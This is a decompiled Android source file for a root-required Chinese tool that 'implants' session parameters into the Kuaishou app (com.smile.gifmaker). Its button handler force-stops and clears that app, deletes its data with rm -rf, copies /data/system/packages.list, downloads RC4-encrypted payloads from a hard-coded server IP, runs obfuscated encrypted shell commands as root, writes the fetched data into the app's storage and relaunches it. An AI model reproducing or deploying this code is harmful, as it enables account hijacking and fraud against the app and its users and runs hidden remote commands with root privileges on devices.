//
// Decompiled by Jadx - 1083ms
//
package com.mobile.kssczr;
import com.e4a.runtime.Objects;
import com.e4a.runtime.Root权限操作;
import com.e4a.runtime.annotations.SimpleDataElement;
import com.e4a.runtime.annotations.SimpleObject;
import com.e4a.runtime.components.impl.android.n1.按钮;
import com.e4a.runtime.components.impl.android.n1.按钮Impl;
import com.e4a.runtime.components.impl.android.n12.时钟;
import com.e4a.runtime.components.impl.android.n12.时钟Impl;
import com.e4a.runtime.components.impl.android.n2.编辑框;
import com.e4a.runtime.components.impl.android.n2.编辑框Impl;
import com.e4a.runtime.components.impl.android.n21.下拉列表框;
import com.e4a.runtime.components.impl.android.n21.下拉列表框Impl;
import com.e4a.runtime.components.impl.android.权限操作类库.权限操作;
import com.e4a.runtime.components.impl.android.权限操作类库.权限操作Impl;
import com.e4a.runtime.components.impl.android.窗口Impl;
import com.e4a.runtime.components.窗口;
import com.e4a.runtime.events.EventDispatcher;
import com.e4a.runtime.parameters.BooleanReferenceParameter;
import com.e4a.runtime.variants.ArrayVariant;
import com.e4a.runtime.variants.ByteVariant;
import com.e4a.runtime.variants.DoubleVariant;
import com.e4a.runtime.variants.IntegerVariant;
import com.e4a.runtime.加密操作;
import com.e4a.runtime.存储卡类;
import com.e4a.runtime.应用操作;
import com.e4a.runtime.应用相关类;
import com.e4a.runtime.数组操作;
import com.e4a.runtime.文件操作;
import com.e4a.runtime.文本操作;
import com.e4a.runtime.算术运算;
import com.e4a.runtime.系统相关类;
import com.e4a.runtime.网络操作;
@SimpleObject
public class 主窗口 extends 窗口Impl {
@SimpleDataElement
public static 窗口 主窗口;
@SimpleDataElement
public 下拉列表框 下拉列表框1;
@SimpleDataElement
public int 位置;
@SimpleDataElement
public 按钮 按钮1;
@SimpleDataElement
public 按钮 按钮2;
@SimpleDataElement
public 时钟 时钟1;
@SimpleDataElement
public 权限操作 权限操作1;
@SimpleDataElement
public 编辑框 编辑框1;
@SimpleDataElement
public String userId = "";
@SimpleDataElement
public String 原始文本 = "";
@SimpleDataElement
public String token = "";
@SimpleDataElement
public String ud = "";
@SimpleDataElement
public String salt = "";
@SimpleDataElement
public String 公告 = "";
@SimpleDataElement
public String 双参数据 = "";
public 主窗口() {
Objects.initializeProperties(this);
$define();
}
public void $define() {
窗口 r1 = (窗口) this;
主窗口 = r1;
r1.标题("E4A");
主窗口.背景颜色(-2631721);
主窗口.布局(IntegerVariant.getIntegerVariant(4));
主窗口.显示方式(1);
主窗口.可否滚动(false);
编辑框 r12 = new 编辑框Impl(主窗口);
Objects.initializeProperties(r12);
编辑框 r13 = r12;
this.编辑框1 = r13;
r13.左边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.025d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.编辑框1.顶边((int) 算术运算.取整(ByteVariant.getByteVariant((byte) 0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
this.编辑框1.宽度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.95d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.编辑框1.高度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.879d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
this.编辑框1.内容("需要root权限才能正常使用\n\n\n作者Qq:5551480 要定制软件的联系我");
this.编辑框1.字体颜色(-16777216);
this.编辑框1.粗体(false);
this.编辑框1.斜体(false);
this.编辑框1.字体大小(9.0f);
this.编辑框1.可用(true);
this.编辑框1.输入方式(4);
this.编辑框1.对齐方式(3);
this.编辑框1.可停留焦点(true);
this.编辑框1.背景图片("");
this.编辑框1.透明度(0);
this.编辑框1.可视(true);
权限操作 r14 = new 权限操作Impl(主窗口);
Objects.initializeProperties(r14);
this.权限操作1 = r14;
按钮 r15 = new 按钮Impl(主窗口);
Objects.initializeProperties(r15);
按钮 r16 = r15;
this.按钮1 = r16;
r16.左边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.475d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.按钮1.顶边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.932d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
this.按钮1.宽度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.525d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.按钮1.高度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.07d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
this.按钮1.标题("开始植入");
this.按钮1.字体颜色(-8355712);
this.按钮1.粗体(false);
this.按钮1.斜体(false);
this.按钮1.对齐方式(7);
this.按钮1.字体大小(9.0f);
this.按钮1.图片("");
this.按钮1.按下图片("");
this.按钮1.弹起图片("");
this.按钮1.可用(false);
this.按钮1.透明度(255);
this.按钮1.可视(true);
下拉列表框 r17 = new 下拉列表框Impl(主窗口);
Objects.initializeProperties(r17);
下拉列表框 r18 = r17;
this.下拉列表框1 = r18;
r18.左边((int) 算术运算.取整(ByteVariant.getByteVariant((byte) 0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.下拉列表框1.顶边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.877d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
this.下拉列表框1.宽度((int) 算术运算.取整(ByteVariant.getByteVariant((byte) 1).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.下拉列表框1.高度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.053d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
this.下拉列表框1.可视(true);
时钟 r19 = new 时钟Impl(主窗口);
Objects.initializeProperties(r19);
时钟 r110 = r19;
this.时钟1 = r110;
r110.时钟周期(2000);
按钮 r111 = new 按钮Impl(主窗口);
Objects.initializeProperties(r111);
按钮 r112 = r111;
this.按钮2 = r112;
r112.左边((int) 算术运算.取整(ByteVariant.getByteVariant((byte) 0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.按钮2.顶边((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.932d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
this.按钮2.宽度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.475d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.按钮2.高度((int) 算术运算.取整(DoubleVariant.getDoubleVariant(0.07d).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度_不含导航栏() - 系统相关类.取状态栏高度()))));
this.按钮2.标题("导入双参");
this.按钮2.字体颜色(-16777216);
this.按钮2.粗体(false);
this.按钮2.斜体(false);
this.按钮2.对齐方式(7);
this.按钮2.字体大小(9.0f);
this.按钮2.图片("");
this.按钮2.按下图片("");
this.按钮2.弹起图片("");
this.按钮2.可用(true);
this.按钮2.透明度(255);
this.按钮2.可视(true);
EventDispatcher.registerEvent(this, "主窗口", "按下某键");
EventDispatcher.registerEvent(this, "下拉列表框1", "表项被选择");
EventDispatcher.registerEvent(this, "按钮1", "被单击");
EventDispatcher.registerEvent(this, "权限操作1", "申请完毕");
EventDispatcher.registerEvent(this, "编辑框1", "失去焦点");
EventDispatcher.registerEvent(this, "按钮2", "被单击");
EventDispatcher.registerEvent(this, "主窗口", "创建完毕");
主窗口.创建完毕();
this.编辑框1.创建完毕();
this.权限操作1.创建完毕();
this.按钮1.创建完毕();
this.下拉列表框1.创建完毕();
this.时钟1.创建完毕();
this.按钮2.创建完毕();
}
public void 主窗口$创建完毕() {
if (IntegerVariant.getIntegerVariant(this.权限操作1.取系统版本号()).cmp(ByteVariant.getByteVariant((byte) 23)) >= 0) {
this.权限操作1.申请全部权限();
}
}
public void 权限操作1$申请完毕(String[] strArr, int[] iArr) {
String str = 网络操作.发送网络数据("http://121.41.101.101:1316", "1.1", "GBK", 2000);
this.公告 = str;
String str2 = 加密操作.RC4解密(str, 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
this.公告 = str2;
this.编辑框1.内容(str2);
应用操作.保存窗口("主窗口", this);
应用操作.保存窗口("窗口1", new 窗口1());
}
public void 主窗口$按下某键(int i, BooleanReferenceParameter booleanReferenceParameter) {
boolean z = booleanReferenceParameter.get();
if (i == 4) {
应用操作.返回桌面();
}
booleanReferenceParameter.set(z);
}
public void 按钮1$被单击() {
if (!this.编辑框1.可视()) {
网络操作.取网页源码("http://121.41.101.101:1315/pj", "GBK", 3000);
应用操作.结束程序();
}
Root权限操作.强制结束进程("com.smile.gifmaker");
Root权限操作.执行命令行2("pm clear com.smile.gifmaker");
Root权限操作.执行命令行2("rm -rf /sdcard/gifshow/");
Root权限操作.执行命令行2("rm -rf /mnt/sdcard/.packages.list");
Root权限操作.执行命令行2("cp -f /data/system/packages.list /mnt/sdcard/.packages.list");
下拉列表框 r3 = this.下拉列表框1;
String str = r3.取项目内容(r3.现行选中项());
String str2 = 网络操作.取网页源码("http://121.41.101.101:1315/" + str, "GBK", 3000);
this.原始文本 = str2;
this.原始文本 = 加密操作.RC4解密(str2, 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
Root权限操作.执行命令行2(加密操作.RC4解密("6608939336E8CCEC9BCE7CEC4C383D2609114C8AC899F3A31CF3A07C453D36B80E20B150A58069F204EB2063AEE3B08304B82162", 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222")));
String str3 = 加密操作.RC4解密("24049E9C37A08EEB959975E1", 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
String str4 = 加密操作.RC4解密("2B4C939B30A9CEF8DA9579A25B367F6C1B0844C9CED8F9E409F3A87B45617EA2002CA25EA4AD36F309EC21", 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
文件操作.写出文本文件(存储卡类.取存储卡路径() + str3, this.原始文本, "GBK");
StringBuilder sb = new StringBuilder();
StringBuilder sb2 = new StringBuilder();
sb2.append("mv -f " + 存储卡类.取存储卡路径());
sb2.append(str3);
sb.append(sb2.toString());
sb.append(str4);
Root权限操作.执行命令行2(sb.toString());
String str5 = Root权限操作.执行命令行2("dumpsys package com.smile.gifmaker | grep userId=");
this.userId = str5;
this.userId = 文本操作.子文本替换(str5, "userId=", "");
String str6 = 加密操作.RC4解密("2B4C939B30A9CEF8DA9579A25B367F6C1B0844C9CED8F9E409F3A87B45617EA2002CA25EA4AD36F309EC21", 加密操作.Authcode解密("927f0Mv6vmXVaPL0NNi1lG+j3EpRHvBXBanBOhfXwt0OkVlSpw", "11112222"));
StringBuilder sb3 = new StringBuilder();
sb3.append("chown -R " + this.userId);
sb3.append(str6);
Root权限操作.执行命令行2(sb3.toString());
系统相关类.延时(1000);
应用相关类.启动应用("com.smile.gifmaker");
}
public void 按钮2$被单击() {
应用操作.切换窗口(应用操作.读取窗口("窗口1"));
}
public void 导入() {
this.下拉列表框1.清空项目();
this.下拉列表框1.添加项目("点击这里,选择植入的双参!");
String[] strArr = 文本操作.分割文本(this.双参数据, "\n");
数组操作.取数组成员数(ArrayVariant.getArrayVariant(strArr));
for (String str : strArr) {
this.下拉列表框1.添加项目(str);
}
this.下拉列表框1.现行选中项(0);
}
public void 编辑框1$失去焦点() {
if (this.公告.equals("")) {
this.公告 = "需要root权限才能正常使用\n\n\n作者Qq:5551480 要定制软件的联系我";
}
this.编辑框1.内容(this.公告);
}
public void 下拉列表框1$表项被选择(int i) {
下拉列表框 r2 = this.下拉列表框1;
if (r2.取项目内容(r2.现行选中项()).equals("点击这里,选择植入的双参!")) {
this.按钮1.可用(false);
this.按钮1.字体颜色(-7829368);
return;
}
this.按钮1.可用(true);
this.按钮1.字体颜色(-16777216);
}
}